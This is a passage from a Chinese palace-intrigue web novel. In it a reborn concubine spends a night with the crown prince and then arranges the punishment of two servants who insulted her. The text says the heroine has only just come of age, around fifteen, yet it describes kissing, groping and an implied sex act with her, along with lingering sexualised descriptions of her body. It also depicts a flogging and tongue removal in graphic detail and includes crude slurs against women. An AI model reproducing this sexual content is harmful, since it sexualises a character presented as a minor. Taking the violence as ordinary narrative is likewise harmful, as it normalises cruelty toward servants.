只能是她安分,没那方面的想法,才悄无声息地活到了现在。
何况她如今不过刚及笄。
父皇却已是年近花甲……
堂堂大靖朝太子,要他向一个小昭训低头认错,骆峋自认拉不下这个脸。
但……若非他一时兴起,夜探香闺。
何至于闹出这么一场。
且她是他做主抬起来的,今日本该是她的好日子。
骆峋垂眸。
目光自小昭训娇媚稚嫩的眉眼间掠过,落在她被他掐出红痕的下颌上。
须臾。
他抬手拂去她鸦睫上的泪珠。
“别哭了。”
“是孤错怪你了。”
第14章 独处,太子爷:“你放肆……”
太子性冷,却不是听不进理,随意降罪于人的人,这是前世胆小的槛儿花了近十年时间才敢确认的事。
也因此,她敢抱着豁出去的想法把人拦住。
但太子就这么向她认了自己的不是,却是槛儿没料到的,心中难免感触。
只不过金尊玉贵的太子爷能对她一个小昭训赔不是,已经很纡尊降贵了。
她若表现得过于吃惊,反倒容易让太子面上过不去,平白惹人不快。
这般想着。
槛儿面上便只愣了愣。
随即半是感触半是后怕地轻唤了声“殿下”,试探般想往他怀里偎。
骆峋瞧着她娇娇怯怯的小模样,顿了顿,颇有些生疏地将人揽到怀里。
槛儿彻底放了心,熟稔地靠着他胸膛。
两人先前虽已经有过肌肤之亲了,但像这样在夜里同妾室单独相处,于太子爷而言还是极其陌生的。
怀中的人刚及他胸口。
娇小得他轻易就将她笼罩得严严实实,她好像哪哪都是滑滑软软的。
这让骆峋不禁想起了那个梦。
想到她那身豆腐般软嫩细滑的雪肤,想到她任他予取予求,一声声莺啼鸟啭从那红艳艳的小嘴儿里溢出。
到底是年轻,有些念头就不能动。
骆峋喉结微滚,暗咳一声打算走了。
他的视线刚挪了挪,眼底便映入了一抹白,却是小昭训赤着一双脚。
白皙的玉足踩在暗色毡垫上,随着阔腿儿寝裤的轻轻晃动而时隐时现。
目测不及他巴掌长。
骆峋的眸光一暗。
下一刻,槛儿被他打横抱起。
“殿下?”
槛儿的心一跳,下意识攀紧他。
心想难不成他起了兴致?
不对。
他今晚不是去了曹良媛那边?
难道是他在曹良媛那边没要够,半夜又起了兴致,所以才来了她这儿。
想让她侍寝?
槛儿:“……”
屋中昏暗。
骆峋没注意到槛儿眼底的复杂,抱着人朝床榻走去:“赤脚下地,你不冷?”
槛儿一怔。
后知后觉地往脚上看了一眼。
随即“轰”的一声。
一股热气直冲天灵盖儿,烧得她俏脸通红,扭头就埋到了男人的肩头。
骆峋心想她真面薄。
不过是被他看了脚,就羞得抬不起头。
将人放回榻上。
骆峋拍拍她的肩示意她放手。
槛儿乖乖放手。
骆峋一低头便看到她霞飞双颊,睫羽轻颤,波光潋滟的眸子里无限娇羞。
骆峋移开视线,手在她的下颌摸了摸。
“可还疼?”
疼肯定是疼的。
任何一个正常男子盛怒之下的力气,都不是寻常女子能清晰承受得住的。
更遑论太子常年习武。
身姿伟岸高大,刀剑、骑射,乃至枪法拳法都是一众皇子中出类拔萃的。
也是方才顾不上别的。
这会儿经他一提。
槛儿才发现被他捏过的两边下颌疼得厉害,不出意外明日肯定要留印。
直到这时候。
被槛儿压着的委屈才又重新冒了出来,她不禁苦着脸,可怜兮兮的。
“疼……”
骆峋清楚自己的手劲。
倒也没觉得她是装出来的。
只是至今为止,还从没有哪个女子这么娇滴滴地当着他的面撒过娇。
也是没人有那个胆子。
先前曹良媛的行举,只能算作邀宠。
骆峋忽视耳根处的痒意,面无表情问:“先前叫人给你送的药可还在?”
槛儿点头。
以为他是要让她现在上药,便撑着床榻要起来,被男人一手按住了肩。
“在哪?”他问。
“妆台上挨着镜子的那个小匣子里。”
骆峋“嗯”了声。
随手挂起床帐,往墙角处走去。
槛儿不解其意。
直到看他把墙角处的那盏小灯拿了过来,又在经妆台时取来了那个小瓷罐。
槛儿赶忙起身。
受宠若惊般要从他手上接过东西。
不料又被他按回榻上坐着。
他自己则到屏风后面净了手,折回来要给她上药,槛儿这回是真受宠若惊了。
虽说上辈子后面的那些年里,庆昭帝偶尔也会为她做些温柔小意的事。
譬如端茶,喂她吃东西之类的。
但那时候他们毕竟在一起好些年了,彼此间虽没有风花雪月却有情分在。
他宠她,槛儿自然而然便受着。
现在才哪儿到哪儿。
槛儿可不觉得太子会这么轻易为美色所惑,对她生起了怜香惜玉之心。
他就不是这样的人。
骆峋自然不是为小昭训的美色所迷。
他不过是觉得今晚之事因他而起,他作为夫主,伤了她,当得担责罢了。
小灯被放在床头的柜子上。
灯罩内跳跃的烛火发出一两声“噼啪”声响。
凉凉的药膏触到伤处,槛儿反射性吸了口气,骆峋指尖微顿:“很疼?”
他一身玄色金线绣瑞兽的袍子,腰带松松系着,里面的中衣前襟微敞,隐约可窥见一片结实精壮的胸膛。
因着是半夜,他没有戴冠。
一头长发随意绑在脑后,俊美的脸庞在烛光下少了白日里的冷肃华贵,多了几分随性不羁,加之低沉的嗓音。
说不出的蛊人。
槛儿不自觉咽了口唾沫,声音软软的:“有点凉。”
骆峋耳尖微动。
刻意不去看小姑娘一张一合的娇嫩红唇,尽量放轻力道在那两片被他伤到的地方涂了老厚一层药膏。
男人的神情专注。
槛儿想到了抱着她尸身的庆昭帝,想到他那满头
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的白发和空洞木然的双眸。
她不理解,也不愿深思。
她怕会失了心。
其实这样就挺好的。
槛儿想,横竖上辈子的她死都**。
想再多也无济于事。
她只要清楚,这辈子她不会重蹈覆辙就行了,她还是不会求他的情爱。
不会交付自己的心。
上辈子他们这么过了一辈子,这辈子她有经验,日子只会过得更好。
“好了,夜里注意……”
唇被覆上,骆峋的声音戛然而止。
长睫遮掩下的眸光经最初的怔愣、讶异和不赞同,渐渐变得幽深。
槛儿的指尖颤了颤。
松开男人的衣襟,绯红着脸低下头。
“有劳殿下了。”
烛光在她的脸上镀上一层柔光,衬得那张白里透红的美人面像似一颗蜜桃。
芳香诱人,甘甜可口。
院外隐隐传来几声更鼓响。
四更天了。
算算时间,药效已经过了。
但骆峋却没感到任何不适。
不仅如此,小昭训看似娇羞实则大胆的举动还让他无端觉得口渴得厉害。
尤其被她咬了一口后松开的唇,娇嫩得犹如刚被雨水浸润过的花瓣。
骆峋扔了擦拭指尖的帕子。
低头。
鼻尖相对,呼吸相融。
他还是不会亲,但却没有像头一回那般狠急。
而是徐徐图之。
仿佛在细细品尝什么美食。
启唇相触的一瞬,槛儿彻底软了身。
骆峋握住她的腰。
大掌无师自通地顺着其寝衣边缘探入。
槛儿极力不让自己出声。
绵软的手习惯性松开男人的颈子,顺着他的胸膛往下,摸到腰带边缘。
骆峋鼻息一沉,停了动作。
“嗯?”槛儿晕晕乎乎,目露不解。
骆峋看着她布满潮意的小脸,喉咙发紧,但最终还是按住了那只小手。
“今晚不行。”
他来此并非存了做那事的心思,而是那个梦让他不明就里,他便想着能否在她这里找出什么缘由。
当然,骆峋这会儿确实起了兴致。
他也大可就这么幸了她。
但宫里的女人历来以能侍寝为荣,他过来时没带人,小昭训院里和屋里的人又都被他点了穴。
无人知晓他来了永煦院。
若真就这么幸了她,名不正言不顺。
于她不好,也不合规矩。
槛儿不知太子殿下的考量。
但她清楚他行事一向有章程。
不过,感受着他……
槛儿耳根发烫。
思索片刻,她撑着榻半坐起身。
骆峋当她要起来送他,正欲告诉她不必。
不料下一刻。
落入一双柔若无骨的手中。
他额角青筋一跳,俊目泛红。
“你放肆……”
第15章 太子没事儿吧?“放屁!”
翌日,卯时初。
天光破晓。
沉寂了一晚的东宫显露出它肃穆的真实面貌,高耸的飞檐翘角上坠满了清露。
小福子双手揣在袖子里。
靠着廊柱睡得正香,时不时还咂咂嘴。
不远处的耳房亮着光,隐隐传来一道微弱的响声,小福子一个激灵睁开眼。
后知后觉自己竟睡着了。
他的后背“刷”地冒起一层冷汗。
宫里规矩森严。
为了保证主子们夜里的安全和需要,值夜的宫人要时刻保持清醒警惕。
注意屋里屋外的动静,听候差遣。
结果他居然睡着了!
还睡了大半宿,睡得这么死!
小福子冷汗直流。
扭头见另一边的小喜子也靠着柱子睡着,他当即就要冲过去给人叫醒。
但脚才迈开。
小福子眼珠子一转,双手背后走过去,照着小喜子的后脑勺就是一巴掌!
小喜子吓得差点没一蹦三尺高,张嘴就要喊,被小福子一把捂住了嘴。
“嫌命长了是不是!”
小福子低斥道。
“头一晚当值守夜你就搁这儿睡大觉,信不信我告诉瑛姑姑?”
小喜子闻言小眼睛瞪得溜圆。
四下看了看。
他握住小福子的手苦着脸讨好道:“哥哥,好哥哥,您大慈大悲给弟弟一条活路吧,我这也是,也是……”
是什么,小喜子卡壳了。
他跟小福子虽然年轻,现年才不过十七。
但他们打小就被卖进宫了。
此前虽没伺候过什么贵人主子,但宫里的规矩他们可太熟悉了。
值夜的时间里睡觉这种错。
他们七八岁就不犯了。
更别说昨儿个还是他们当差的头一晚,小喜子都不知道自己咋睡着的!
其实小福子也对自己咋睡着的没印象,好像站着站着就没意识了。
也是奇了怪了。
不过,这不妨碍他忽悠小喜子。
“睡了就是睡了,哪来那么多废话。”
小喜子就急了。
又是作揖又是拜。
小福子憋着笑,“想让我替你瞒着也成,这个月咱俩屋里的卫生……”
小喜子:“我来!”
“我的脏衣裳……”
“我洗!”
“算你识相。”
俩小太监这边达成共识。
那厢耳房的灯灭了,瑛姑姑从里面出来。
“夜里主子可有起?”
小喜子心虚,小福子暗笑他没出息,面上机灵道:“寒酥姐姐昨晚没叫咱。”
天色暗。
瑛姑姑不疑有他,交代了两人几句便转身推门进屋服侍槛儿晨起。
没多会儿,寒酥从屋里出来。
小福子笑着试探道:“姐姐辛苦,方才瑛姑姑还问咱主子晚上可有起夜呢。”
寒酥暗窘。
随口敷衍过去了。
等拐去了后罩房,寒酥才心有余悸地松了口气,当值第一晚就睡死过去了这种事绝不能让第二个人知道!
屋里,瑛姑姑掌了灯。
刚上值的跳珠来到榻前挂起帐子。
便见床上的人一头乌发散在锦枕上,呈半趴伏的姿态面朝着外面睡态酣甜。
薄薄的锦被堆在她腰间,搭在被子上的一条小腿和玉臂白得晃眼。
薄背细肩,蜂腰翘臀。
半敞的衣襟下粉白一片,沟壑深深。
加之那张嫩得似能掐出水的芙蓉面,看得跳珠面红耳赤,心怦怦直跳。
知道这位主儿美,却没想到能美成这样,她还是第一次见有人把一个再寻常不过的睡姿睡成这样的。
跳珠咽了口唾沫,小心翼翼把人叫醒。
槛儿是快五更天的时候才睡着的,被跳珠唤醒坐起来时人还有些恍惚。
直到瑛姑姑伺候她更衣,讶异地“咦”了一声:“主子,您小衣呢?奴婢记得您睡前穿了件小衣啊。”
槛儿一怔,清醒了。
她红着脸,不自在地扯了扯寝衣领口。
“小了,夜里绷得慌,就脱了。”
收拾床铺的喜雨:“不知主子脱哪儿了,奴婢眼拙,没在榻上见着。”
槛儿轻咳了声,“夜里去了趟净房,忘了随手扔桶里还是篓子里了。”
这自然是瞎扯呢。
扔桶里是真,却不是随手的。
而是太子夜里拿她的小衣擦了那什么,槛儿哪能再穿啊,也不能扔着不管。
所以太子一走。
槛儿就把卧房的小灯拿到了净房,做贼似的细细把小衣搓洗了一遍。
最后扔进有水的桶里,瞒天过海。
不过,瑛姑姑倒没起疑。
一来没人想到太子会学那偷香窃玉的小贼,只身夜探自己妾室的屋子。
二来槛儿的小衣确实小了。
后宫妃嫔的贴身衣物通常由自己身边的绣娘负责,东宫女眷的也不例外。
但只有高位主子有自己的专属绣娘,低位的贴身衣物则由侍候的宫人负责。
瑛姑姑正打算给槛儿另做几件呢。
她都没起疑,喜雨就更不会多想了。
槛儿来到妆台前。
拿起镜子照了照,发现两边下颌虽还有些疼意,面上倒是看不出什么痕迹。
槛儿松了口气。
但想到另一件事,她不禁又犯起愁来。
昨晚用那样的方式伺候太子,一则因为她习惯了和他在那事上的亲密。
这样的事上辈子都是做熟了的。
二则也是想他更惦着她。
槛儿不知道太子深更半夜来这儿是为了什么,但他既来了那便是记着她。
既如此,槛儿就想让他继续惦着。
这样她才能尽快侍寝。
也免得到时候怀的不是曜哥儿。
她和太子如今还没有情分,暂时也只能用这种方式来让他意犹未尽。
可槛儿没料到。
上辈子多则一晚叫四回水。
**都是半个时辰,少则叫一回水,少说一个时辰打底的太子,昨晚竟半盏茶的功夫都没到就……
想到太
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子夜里离开时的表情。
槛儿一个头两个大。
想不通。
难道是此前太子没被人那般服侍过?
还是说前半夜他在曹良媛那儿尽兴了,到了她这儿便不是那么想了。
话说上辈子有这回事吗?
年陈太久远,槛儿实在不记得了。
东宫的妾若无特殊情况,每日要在卯时六刻前去嘉荣堂给太子妃请安。
槛儿第一天去请安,瑛姑姑她们不敢耽搁,三两下伺候自家主子收拾好。
不多时,槛儿带上跳珠出了门。
东西六院位于嘉荣堂的后面,从西六院出来不到一刻钟就能到嘉荣堂。
时辰早,天色还没有大亮。
路上只几个侍候花草和洒扫的宫人,除了“沙沙”的扫地声没人说话。
槛儿也没跟跳珠交谈。
主仆二人不疾不徐地往嘉荣堂走。
途经一扇月亮门时,忽然听到两道明显压低的声音从门的另一侧传了过来。
“就那位现在这势头,想来要不了多久那边就该有好消息传出来了。”
却是园子角落里除草的两个粗使婆子,打量着附近没人便凑一起说起了小话。
“谁说不是呢。”
方脸婆子接话道。
“从前拢共就这么三位,大半儿都被她占了去,如今倒是有四位了,结果……”
圆脸婆子咋咋舌:
“昨儿个可不少人以为咱爷要去那谁屋里,结果还是去了那位院里,也不知那谁咋想,没准儿一宿没睡。”
方脸婆子嗤笑:
“她咋想?她能咋想?一个**的奴才秧子再怎么受抬举也改不了她的出身。
也不瞧瞧自己啥身份,给沁芳居那位提鞋都不配,还想跟人争宠呢。”
月亮门这边。
跳珠脸都黑了,抬脚就要过去呵斥。
被槛儿制止了。
圆脸婆子:“也对,要不是看在太子妃的面上,咱爷哪可能放她到后院,你看她那胸那大腚,啧啧。”
“那就是个**!”
方脸婆子撇嘴。
“看她平时走路那样儿,颠来晃去的,哪个刚及笄的姑娘长她那样,我看外头的那些个窑姐儿都没她浪。”
说着,她环视一圈。
又挤眉弄眼。
“咱爷菩萨似的人物,看得中那种货色才怪!她那一看就是个守不住的。
赶明儿用不着她那肚皮了,爷不往她屋里去,指不定就跟谁搞上了,我听说她那院里的几个小太监都生得……”
“放**屁!”
跳珠气炸了。
也没有哪个贴身侍候的,听到别人这么编排自家主子,还能无动于衷的!
她“嗖”地蹿出来,手往腰上一叉。
“好你们这两个烂嘴烂舌的老婆子!当咱们东宫的穿堂风聋的不成?
打量着主子们宽厚仁慈,就敢把那阴沟里的粪点子往宫里的云锦上喷!
我这就去禀明了太子妃!看看你们这两个老树皮裹着几两黑心肝儿!”
第16章 刁奴的败北,“昭训饶命!”
跳珠性情泼辣,前世槛儿刚当上奉仪那会儿,身边的大宫女就是她和寒酥。
一通骂下来,她气儿都不带换的。
那俩婆子被跳珠突然蹿出来吓了一跳,又听她上来就对着她们一顿喷。
两人先是一愣。
旋即也没注意到跳珠身上的大宫女装束,方脸婆子站起来就要骂回去。
只是她刚张嘴,还没来得及发出声音,便见月亮门那边走出了一个人。
方脸婆子:“槛、槛儿……”
“放肆!”
跳珠柳眉倒竖。
三两步过去,啪啪就是两巴掌。
“你算个什么东西,昭训的名讳也是你能叫的?!见了主子还不行礼!”
不得不说,跳珠不愧是内务府安排来做大宫女的,身上的那股利落狠辣劲儿一下子就把两个婆子给震住了。
“奴、奴婢见过宋昭训……”
圆脸婆子“扑通”跪地,磕磕巴巴的。
方脸婆子捂着脸也跪了。
但她看了眼槛儿,心里很是不服。
要知道这小蹄子从前可是嘉荣堂后院里的杂役丫头,做的活计又贱又苦,连她们这些粗使婆子都比不上。
也就是太子妃抬举。
要不然哪有她翻身的机会,怕是这会儿还在洗宫女太监们的衣裳呢。
一个贡献肚皮的**玩意儿,如今倒是在她们跟前摆起主子的谱了。
呸!
方脸婆子暗啐。
同时腰杆挺得笔直,偏头翻了个白眼,一脸没把人放眼里的拽样儿。
跳珠又要发作。
被自家昭训抬手打断了话。
槛儿自然看到了方脸婆子眼里的轻蔑和不屑,知道对方这会儿在想什么。
不过她倒没恼。
上辈子好歹做了几十年的主子。
心性早练出来了。
若是逢上这样的事就暴起跳脚,那她也斗不倒郑氏,坐不上那个位置。
再者不管是这两个婆子方才所谈论的话,还是方脸婆子此时的做派。
槛儿上辈子听得太多太多。
也见了太多太多。
说句难听的,她早习惯了。
只不过,心性好不代表就要对别人侮辱自己的行举视而不见,习惯了也不代表就要放任这些人继续轻视她。
若不然,他们当她好欺负呢。
“跳珠,非议东宫事,妄论太子、太子妃及太子侍妾的奴才通常如何处置?”
槛儿看着俩婆子,声音轻柔地问道。
跳珠:“回主子,依大靖律,凡宫女、内侍非议东宫事,语涉太子及其妻妾者,当以‘藐视皇权’论。
轻者杖三十,徙浣衣局永役,重者枷示三日,杖五十,发南海子充苦役。”
两个婆子变了脸。
槛儿却当没看见,“低级宫婢对太子妾室出言不逊,又当如何论?”
“回主子,低级宫婢、太监以卑犯尊罪加一等,掌嘴五十,罚提铃三月。
若有詈骂‘贱婢’、‘狐媚’等污言秽语,当割舌杖毙后弃之于乱葬岗!”
“昭训饶命!”
圆脸婆子脸色煞白,一脑袋就磕到了地上,“是奴婢嘴贱,奴婢再也不敢了!奴婢这就自打嘴巴子!”
说着,她真给了自己几个嘴巴子。
不怪圆脸婆子态度转变得这么快。
而是跳珠所言并非吓唬她们的,宫里对内廷宫人的管束就是这么严苛。
圆脸婆子刚刚之所以敢和方脸婆子谈论这些,也是见四下无人,清楚平时这个时候没人从这儿过。
这种事在宫里其实也很常见。
毕竟规矩是一回事,主子们又不可能时时刻刻都派人盯着下面的奴才。
天高皇帝远的。
奴才们明面上不敢瞎编排主子们的事,可到底能私下里看个热闹不是?
只要不被发现就好了。
抱着这样的心态,两个婆子才敢像刚刚那样模棱两可地凑一起说嘴。
却没料到往常这个时候从没人经过这儿,今日倒是被撞了个正着!
方脸婆子怕归怕。
却是打心底里瞧不上槛儿,也不觉得她有什么本事拿她们怎么样。
谁不知道这小蹄子胆小啊。
而且庞嬷嬷不喜欢她。
庞嬷嬷不喜,那就是太子妃不喜。
这么想着,方脸婆子梗着脖子道:“宋昭训便是要发落奴婢们,也得讲证据。
奴婢们不过是当差时说了几句无伤大雅的小话,宋昭训就要往人头上扣这么大顶帽子,未免欺人太甚!”
槛儿:“你要讲证据?”
“那当然。”
方脸婆子鼻孔朝天。
槛儿就笑了。
宛如一朵在晨光中静静绽放的粉牡丹,娇艳动人不带半分攻击性。
然而方脸婆子看着,却不知怎么,身子竟不受控制地打了个寒颤。
.
嘉荣堂里。
郑明芷用完早膳回内室整理妆容,一个二等宫女从外面走了进来。
“禀太子妃,宋昭训领了两个粗使婆子过来,说是想请您为她做主。”
“做什么主?”
“好像是那两个婆子以下犯上,妄议殿下及后宅女眷,不敬皇权。”
二等宫女越说越小声。
结合来请她做主的人是槛儿,郑明芷几乎第一时间就猜出了怎么回事。
她面色一沉,起身朝外走去。
外面。
槛儿和跳珠站在堂中。
两个婆子跪在屋外的台阶下。
金承徽从院子里进来,目光扫过那俩婆子,又看向低着头的槛儿。
“一大早的这是怎么了?莫非这两个奴才给我们的宋昭训气受了?”
秦昭训后脚进来。
清冷的面容看不出什么情绪。
“金姐姐,秦姐姐。”
槛儿侧身朝她,和虽跟自己同位份,却资历比她老的秦昭训福了福身。
说起来,这还是槛儿重生回来第一次正式以东宫女眷的身份面对她们。
不同于刚开始被郑明芷安排来伺候金承徽她们时的茶房宫女打扮。
今天槛儿穿了身鹅黄绣折枝玉兰的对襟夏衫,配海天霞鹊衔梨花马面裙。
梳着偏鬟髻。
两侧插镶珍珠金掩鬓,髻间是嵌白玉金累丝宝钿和两小截儿鹅黄发带。
端的是俏丽雅致。
配上那张艳丽的脸蛋和本分规矩的言行,给人一种乖中带媚的青涩感。
让人不免想到空山中蜿蜒潺潺的溪水,想到雨后晴空下的虹霓和新荷。
金承徽就笑不出来了。
眸底闪过一丝嫉妒和不满。
秦昭训抿唇不语。
这时,郑明芷出来了。
金秦二人收起心思,驾轻就熟地行到近前向她们的主母行请安礼。
槛儿跟在秦昭训身后。
同样恭敬地给郑明芷行了礼。
郑明芷没管她们。
神色冷冽地看了眼外头的两个奴才,问槛儿:“且说来与我听听。”
槛儿便把自己在来请安的途中遇上的事,三言两语地陈述了一遍。
当然,是挑着说的。
譬如方脸婆子说她一看就是个守不住的,她院里的小太监如何如何这样的话。
虽然也是那婆子论罪的点,却容易让在场的人生出其他没必要的猜测。
譬如说赶明儿用不着她的肚皮这类话。
槛儿就没说了。
跳珠也很配合地没多言。
郑明芷的脸沉得能滴出水来了,凌厉的目光直射向外头两个婆子。
“把人带
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进来!”
圆脸婆子吓得直哆嗦。
但她没忘方脸婆子不久前说的,这位野鸡昭训没证据证明她们说了什么。
所以这回她没急着求饶。
方脸婆子则强忍着对郑明芷的畏惧。
上来便喊起了冤。
“太子妃明鉴!奴婢们冤枉啊!奴婢们是在当值的时候说了话,但奴婢们说的都是跟差事有关的事啊。
主子们金尊玉贵,奴婢们便是吃了熊心豹子胆,也不敢拿各位主子们说嘴啊!”
圆脸婆子壮了胆,哆哆嗦嗦地附和:“请太子妃明察,替奴婢们做主啊!”
金承徽和秦昭训已经坐到了她们平时坐的位置,边喝茶边乐得看热闹。
郑明芷很不耐烦。
这份不耐烦不仅仅源于一大早就要处理这破事,更因为惹出事的人是槛儿!
因为事情发生在她管的后宅!
妄议储君及其妾室,以上犯下,蔑视皇权,哪一项罪名都不容忽视。
太子若知晓了此事。
怕是要当她这个太子妃治下不严!
该死的小蹄子,果真是个不安分的。
刚到后院就给她找事!
郑明芷没管那俩婆子。
温和地看着槛儿,实则眼底一片冷意。
“我虽为太子妃,却也不能无凭无据便处置了东宫里的这些个奴才。
你说她们妄议殿下及后院女眷,对你出言不逊,除了你这贴身丫头,可还有其他人能证明你所言非虚?”
槛儿面露惊愕。
方脸婆子眼中闪过得意。
槛儿借拭泪的动作掩了掩唇角的弧度,再抬头脸都白了,又急又委屈。
“除了跳珠,妾身没有其他人证,可妾身说的都是实话,她们当真犯了不敬之罪,妾身听得清清楚楚。”
“尤其此人,她最是目中无人。”
“那些擅自揣测殿下要往谁屋里去的话,说妾身给曹姐姐提鞋都不配,骂妾身的污言秽语皆出自她之口!”
说罢,槛儿指向俩婆子的其中一个。
葱白的手指对着的方向。
是圆脸婆子。
方脸婆子身子微僵。
心底升起一股不好的预感。
果不其然。
不等她想明白对方闹的哪一出,旁边的人就发出了一声凄厉的叫喊。
“不是奴婢!不是奴婢!”
圆脸婆子抖如筛糠,声音近乎尖叫。
“是她是她啊宋昭训!那些话是她说的您忘了?!是她说你不配给曹良媛提鞋!说殿下看不中你,说你是个**守不住,都是她说的啊!”
说白了她就是个粗使奴才。
嬷嬷都算不上。
平时连主子的面都见不着,能当着太子妃的面挺到现在已经是她的极限了!
郑明芷面若冰霜。
金承徽与秦昭训对视一眼,都从彼此眼里看到了一抹难以言喻的意味。
刚到门口的曹良媛拉着唇角看着两个婆子,眸底的狠厉转瞬即逝。
“赵淑霞!”
方脸婆子没察觉到现场的气氛变化,大叫着圆脸婆子的名字朝人扑了过去。
嚷着要撕烂赵婆子的嘴。
赵婆子被抓花了脸,下意识还手,嘴里坚持声称那些话就是方脸婆子说的。
等嘉荣堂的人将她俩分开。
屋中一片死寂。
方脸婆子浑身僵硬地扭头。
就见那位她最看不上的宋昭训状似被吓得不轻,玉面带泪,美目泛红。
脆弱得仿佛一株经不住任何风雨的娇花也似,楚楚动人,我见犹怜。
但就在这个时候。
她垂首拭泪,不经意似的朝这边看来。
于是,方脸婆子看到了。
她淡漠沉静的眼,以及微微挑起的眉。
第17章 金承徽的羞辱,槛儿:“怪脏的。”
嘉荣堂的后罩房和前院之间隔着一个长条形的园子,往北是宫人住的屋子,往南出去绕过游廊便是前院。
此时,园子里聚满了人。
当值的没当值的宫人,都被叫来观刑。
正中间。
两个婆子被堵了嘴死死按在地上。
随着廷杖重重落下。
一道道沉闷的声响不绝于耳,两个婆子的脸涨得发紫,眼球鼓胀,口中呜呜咽咽很快涌出大口血水。
观刑众人皆神情惊惧,面若金纸。
等廷杖击打皮肉的声音终于不再响起,两个婆子的身子下面已是血肉模糊。
行刑的太监探了两人的鼻息,对双脚呈外八外展站着的庞嬷嬷点点头。
庞嬷嬷面无表情。
“拔了她们的舌,扔去后面浣衣坊。”
立时有手持刑具的太监过来,只听得两道濒死野兽般的凄厉呜咽声。
观刑众人里年纪大些的宫女太监看似镇定,实则都不自觉打起了哆嗦。
年纪轻的则吐的吐,哭的哭,晕的晕。
等一切归于平静。
两个婆子奄奄一息地被抬了下去。
庞嬷嬷肃容环视一众观刑的宫女太监。
“都瞧仔细了?这就是妄论主子,以下犯上的下场!平日里你们要论张家的短还是李家的长,我不管。
但事关主子,你们最好都给我紧着皮子,别阎王殿前打灯笼,自寻死路!”
众人连连应诺。
庞嬷嬷顿了顿。
还是告诫道:“宋昭训是从咱们嘉荣堂出去的,是殿下亲抬的昭训。
我不管你们从前跟宋昭训有什么恩怨,但今后若有人再敢对宋昭训出言不逊,这两个婆子的下场便是你们的下场!都给我记住了!”
大伙儿觉得心惊。
却是没料到曾经低贱的杂役丫头不仅成了主子,还有了这么大的造化。
这两天没少私下骂槛儿“狐媚子”、“骚蹄子”的人,不由得汗流浃背。
但甭管他们心里如何想。
反正面上无人敢不应。
庞嬷嬷没再多说,带着人回了前院。
听完她的回禀,郑明芷微微颔首。
金承徽娇哼一声:
“这些个奴才,都是些不见棺材不落泪的东西,太子妃仁慈留她们一命。
换做我,必定把人杖毙了,再扔去乱葬岗喂狗!让她们知道什么叫尊卑贵贱!”
郑明芷对金承徽的奉承没什么表示,她留那两个奴才的命自有她的道理。
刁奴以下犯上,连太子都敢编排。
不论什么原因,在外人看来都是她这个太子妃没约束好后院的奴才。
如此,她若杖毙了那两个刁奴。
传出去旁人怎么想?
指不定会当她欲盖弥彰,残暴不仁。
这种有碍自己贤名的事,郑明芷才不会做。
只不过想到今儿个闹出这事的起因,郑明芷不禁迁怒到了槛儿头上。
她看向秦昭训旁边的槛儿。
以一种训诫的口吻道:
“既做了主子,就把那没出息的毛病改了,别动不动便被几个奴才吓得掉泪珠子,没得丢我和殿下的脸。”
殊不知槛儿是刻意这么做的,毕竟一个人的性子要变不是一朝一夕的事。
且太子慧眼如炬,又让人查过她。
她若转变过快,难免不会让太子起疑,被当成别人安插到东宫的探子。
郑明芷此言明显只是迁怒,意在当着曹良媛等人的面下槛儿的脸子。
不是真的要她改性子。
不过,倒是为她今后的改变提供了一个契机。
槛儿暗哂。
起身对郑明芷福了福身,细声细气道:“是,妾身谨遵太子妃教诲。”
金承徽看热闹不嫌事大。
“宋妹妹也不必过于着急,有句话不是叫‘狗改不了吃屎’?当然,我不是说你是狗,只是打个比方。
做了这么多年的奴才,有些东西刻进了骨子里,一时半会儿改不了也情有可原不是?用不着太为难自己。”
这话就难听了,都不是拐弯抹角了。
秦昭训仍旧面无表情。
曹良媛漫不经心地靠着椅背,手上有一下没一下拨弄着茶盏里的浮沫。
不知在想些什么。
此情此景,和上辈子槛儿刚得了位份那会儿如出一辙。
不同的是。
彼时槛儿每回都被金承徽呛得羞窘欲死,只恨不得当场找个地缝钻进去。
如今槛儿也羞窘,却只是这具身子的本能反应,她的思绪可谓心如止水。
槛儿这会儿倒挺庆幸自己这副身子的某些本能反应,不受她控制了。
毕竟像是害臊脸红、受惊白脸这种直接体现在身上的情绪反应,通常很难装出来且不会被人轻易识破。
“有劳金姐姐提点。”
槛儿红着脸难为情道。
金承徽被她发窘的样子逗笑了,正要摆手装大方,就听槛儿软声道:
“但……金姐姐以后还是别这么说吧,怪脏的,当然我不是说金姐姐你脏!
而是这话委实不雅,我听了没什么,就怕金姐姐说惯了,日后当着殿下的面不慎说漏了嘴那就不好了。”
此言一出,堂中诡异地静了一瞬。
秦昭训目露惊诧。
曹良媛手上拨弄浮沫的动作顿住,看着槛儿的眼神里闪过一丝意味深长。
金承徽反应过来,一张俏脸涨得通红。
脏?
她居然说她脏??
奴才出身的贱胚子,她怎么敢!
“宋昭训,你大胆!”
金承徽“啪”的一掌拍在茶几上。
槛儿配合地缩了下脖子。
“金妹妹何必动怒。”
曹良媛搁下茶盏。
在金承徽又要开口前打断了她的话头。
“我倒觉得宋昭训说得在理,你好歹也是官家出身,经选秀入的东宫。
如今张口便是那等粗鄙污秽之言,实在有失身份体面,
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若是传到殿下耳中,妹妹可担得起这失仪之责?”
金承徽担不起。
槛儿晋位之前,后院的三个妾室就属太子往金承徽屋里去的次数最少。
她本就为此心急如焚。
绞尽脑汁都想把太子往她房里勾。
可惜每回都如不了愿。
如果让太子知晓她张口就是屎啊屎的,那她就更别指望太子去她那儿了!
金承徽气结,没好气道:
“我好心提点她,她不领情也就罢还反过来说我脏,她不敬上位曹姐姐不说,倒说起我来了,这算哪门子道理?”
被顶撞了,曹良媛也不恼。
反正金承徽就是个没脑子的蠢货。
“人家宋昭训说了,不是觉得你脏,是觉得那话不雅,提醒你当心些。
你自己没听清却要倒打一耙,我看宋昭训才该问这算哪门子的道理吧?”
金承徽:“你!”
“行了,别吵了!”
郑明芷的声音冷得掉渣。
曹良媛无声笑了下,并未多言。
金承徽噘着嘴,一脸委屈。
“太子妃,您看曹姐姐……”
剩下的话被郑明芷给瞪回去了。
都二十的人了,比她还长一岁,也好意思当着她的面做这种小女儿娇憨之态。
郑明芷都没眼看!
“我只道你平时说话行事不着五六,如今却是把那些个下作村话都挂到了嘴上,你还觉得俏皮不成?”
虽然很不想承认。
但姓宋的方才所言确实有几分在理。
后宅事务皆归她管,约束曹良媛等妾室的言行自然也包括在其中。
若任由金承徽这么浑下去。
回头让太子或是外人知晓了,她这个当家主母的管家能力就该被质疑了。
郑明芷绝不允许发生这种事!
